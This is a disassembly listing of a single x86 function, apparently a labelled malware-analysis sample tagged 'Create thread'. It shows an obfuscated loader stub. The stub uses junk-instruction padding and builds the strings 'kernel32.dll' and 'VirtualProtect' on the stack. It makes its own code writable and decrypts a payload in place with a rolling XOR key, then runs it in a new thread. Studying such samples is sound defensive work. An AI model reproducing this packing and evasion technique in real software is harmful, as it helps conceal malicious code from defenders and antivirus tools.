Function at 0xd1d03b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
xchg ecx, ecx
pushfd
inc edx
dec edx
popfd
call fcn.00d1d445
push esi
pop esi
push eax
pop eax
lea eax, [ebp - 0xd8]
pushfd
push ecx
add esp, 4
popfd
pushfd
xor ebx, 0x561d3fcf
xor ebx, 0x561d3fcf
popfd
mov ebx, 0x61
pushfd
xor ecx, 0xa7a6c988
xor ecx, 0xa7a6c988
popfd
add bx, 0xa
xchg ebx, eax
xchg ebx, eax
mov word [eax], bx
push edx
push ebx
pop ebx
pop edx
pushfd
inc edx
dec edx
popfd
sub bx, 6
pushfd
inc ecx
dec ecx
popfd
mov word [eax + 2], bx
push edx
pop edx
add bx, 0xd
pushfd
xor ecx, 0xf298e82e
xor ecx, 0xf298e82e
popfd
mov word [eax + 4], bx
pushfd
push 0xbe755cef
add esp, 4
popfd
sub bx, 4
push edx
push ebx
pop ebx
pop edx
pushfd
inc edi
dec edi
popfd
mov word [eax + 6], bx
pushfd
xor ecx, 0x5bdd4012
xor ecx, 0x5bdd4012
popfd
push eax
pop eax
sub bx, 9
push edx
pop edx
mov ecx, ecx
mov word [eax + 8], bx
pushfd
push ebx
add esp, 4
popfd
add bx, 7
xchg esi, eax
xchg esi, eax
pushfd
push 0x1b26f1a4
add esp, 4
popfd
mov word [eax + 0xa], bx
pushfd
inc edx
dec edx
popfd
sub bx, 0x39
push esi
pop esi
mov word [eax + 0xc], bx
pushfd
push eax
add esp, 4
popfd
push ecx
push ebx
pop ebx
pop ecx
dec bx
pushfd
push 0x33446378
add esp, 4
popfd
xchg edi, edx
xchg edx, edi
mov word [eax + 0xe], bx
mov edx, edx
push ebx
pop ebx
sub bx, 4
pushfd
push eax
add esp, 4
popfd
mov edx, edx
mov word [eax + 0x10], bx
pushfd
xor esi, 0x13cb6381
xor esi, 0x13cb6381
popfd
add bx, 0x36
xchg esi, edx
xchg edx, esi
pushfd
push 0x7b552d35
add esp, 4
popfd
mov word [eax + 0x12], bx
pushfd
push ebx
add esp, 4
popfd
pushfd
inc edx
dec edx
popfd
add bx, 8
mov ecx, ecx
pushfd
inc ecx
dec ecx
popfd
mov word [eax + 0x14], bx
xchg ecx, ecx
mov word [eax + 0x16], bx
mov esi, esi
mov word [eax + 0x18], 0
push ecx
push edx
pop edx
pop ecx
mov ecx, ecx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
push 0xb176d9a6
add esp, 4
popfd
push edx
push eax
pop eax
pop edx
mov dword [ebp - 0x10], eax
pushfd
xor eax, 0x5d571ee2
xor eax, 0x5d571ee2
popfd
lea eax, [ebp - 0xd8]
pushfd
push ecx
add esp, 4
popfd
nop
mov ebx, 0x61
pushfd
push esi
add esp, 4
popfd
push eax
pop eax
sub bl, 0xb
pushfd
push esi
add esp, 4
popfd
mov ecx, ecx
mov byte [eax], bl
pushfd
push edi
add esp, 4
popfd
push eax
pop eax
add bl, 0x13
xchg edi, eax
xchg edi, eax
mov byte [eax + 1], bl
pushfd
xor ecx, 0x3b4131fd
xor ecx, 0x3b4131fd
popfd
add bl, 9
push esi
push edi
pop edi
pop esi
xchg ecx, edi
xchg edi, ecx
mov byte [eax + 2], bl
xchg ebx, ecx
xchg ecx, ebx
push esi
push ecx
pop ecx
pop esi
add bl, 2
xchg edi, ecx
xchg ecx, edi
mov byte [eax + 3], bl
pushfd
push esi
add esp, 4
popfd
pushfd
push esi
add esp, 4
popfd
inc bl
mov ecx, ecx
push ecx
pop ecx
mov byte [eax + 4], bl
push ebx
pop ebx
sub bl, 0x14
pushfd
inc ecx
dec ecx
popfd
pushfd
xor esi, 0x53ac877d
xor esi, 0x53ac877d
popfd
mov byte [eax + 5], bl
pushfd
push ebx
add esp, 4
popfd
pushfd
inc ebx
dec ebx
popfd
add bl, 0xb
xchg edi, edi
mov byte [eax + 6], bl
push ebx
pop ebx
sub bl, 0x1c
push eax
push edi
pop edi
pop eax
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 7], bl
nop
pushfd
push 0x45f74a4e
add esp, 4
popfd
add bl, 0x22
mov eax, eax
mov edi, edi
mov byte [eax + 8], bl
push edx
pop edx
sub bl, 3
pushfd
push 0x5a891c8f
add esp, 4
popfd
mov byte [eax + 9], bl
pushfd
xor ecx, 0x1571ad5
xor ecx, 0x1571ad5
popfd
pushfd
xor esi, 0x7b99f32c
xor esi, 0x7b99f32c
popfd
add bl, 5
push edx
pop edx
mov byte [eax + 0xa], bl
pushfd
push 0x7bb366bf
add esp, 4
popfd
pushfd
push 0x322c8678
add esp, 4
popfd
sub bl, 0xf
pushfd
xor edx, 0x8422b6fa
xor edx, 0x8422b6fa
popfd
mov byte [eax + 0xb], bl
push edi
pop edi
sub bl, 2
push ebx
pop ebx
mov byte [eax + 0xc], bl
xchg ebx, edi
xchg edi, ebx
xchg ecx, ecx
add bl, 0x11
pushfd
inc esi
dec esi
popfd
mov byte [eax + 0xd], bl
push eax
pop eax
mov byte [eax + 0xe], 0
push eax
pop eax
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
push 0xa65b2388
add esp, 4
popfd
mov dword [ebp - 0xc], eax
xchg esi, edi
xchg edi, esi
nop
lea eax, [ebp - 8]
pushfd
xor edi, 0x5a7c8cd7
xor edi, 0x5a7c8cd7
popfd
push eax
push 4
push 0x91c02d
push entry0
call dword [ebp - 0xc]
pushfd
xor edi, 0xe157cfa3
xor edi, 0xe157cfa3
popfd
mov edi, entry0
pushfd
push 0x53f0c47d
add esp, 4
popfd
xchg esi, ecx
xchg ecx, esi
mov esi, 0x40100e
xchg esi, esi
mov ecx, 0x91c02d
pushfd
xor edi, 0xa2adf94b
xor edi, 0xa2adf94b
popfd
mov edx, 0xdfb711ef
pushfd
push ebx
add esp, 4
popfd
mov ebx, 0
xchg edx, edx
cld
mov ecx, ecx
lodsb al, byte [esi]
mov eax, eax
xor al, dl
mov esi, esi
stosb byte es:[edi], al
mov ecx, ecx
ror edx, 5
xchg ebx, ebx
imul edx, edx, 7
xchg esi, esi
test ebx, 1
xchg ebx, ebx
je 0xd1d3b8
xchg ebx, ebx
add esi, 1
mov edi, edi
ror ebx, 1
mov esi, esi
dec ecx
nop
test ecx, ecx
xchg edi, edi
jne 0xd1d391
push edx
push edi
pop edi
pop edx
lea eax, [ebp - 8]
push ebx
pop ebx
push eax
push 0x20
push 0x91c02d
push entry0
call dword [ebp - 0xc]
push edi
pop edi
lea eax, [ebp - 4]
xchg ebx, ebx
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
push eax
push esi
pop esi
pop eax
pushfd
push ecx
add esp, 4
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
xchg esi, edi
xchg edi, esi
xchg edi, edi
jmp 0xd1d3fc